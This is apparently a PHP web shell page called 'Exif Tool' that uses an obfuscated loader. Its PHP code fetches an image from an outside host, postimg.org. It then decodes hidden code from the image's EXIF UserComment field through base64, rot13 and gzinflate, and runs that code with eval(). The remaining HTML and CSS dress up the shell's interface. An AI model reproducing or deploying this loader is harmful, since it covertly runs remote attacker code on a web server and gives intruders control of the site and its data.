Exif Tools Shells php

<?php
$images = exif_read_data("https://s4.postimg.org/dmll5dul9/scan.jpg");
eval(str_rot13(gzinflate(str_rot13(base64_decode($images["COMPUTED"]["UserComment"])))));
?>
<html>
<body bgcolor=black text=red>
<head>
<style type="text/css">
body{
    background:#000000;;
}
a {
text-decoration:none;
}
a:hover{
border-bottom:1px solid aqua;
}
*{
    font-size:11px;
    font-family:Courier,Courier,Courier;
    color:white;
}
#menu a{
    padding:4px 18px;
    margin:0;
    background:darkred;
    text-decoration:none;
    letter-spacing:2px;
    -moz-border-radius: 5px; -webkit-border-radius: 5px; -khtml-border-radius: 5px; border-radius: 5px;

}
</style>
<title>Exif Tool</title>
<link rel="icon" type="image/x-icon" href="http://iconhandbook.co.uk/favicon.ico/favicon.ico" />
</head>
<center><br>
<img src="https://s16.postimg.org/vcx9xt5ad/scan.jpg" height="200px" width="200px"><br /></center>
<br><center><div id="menu">
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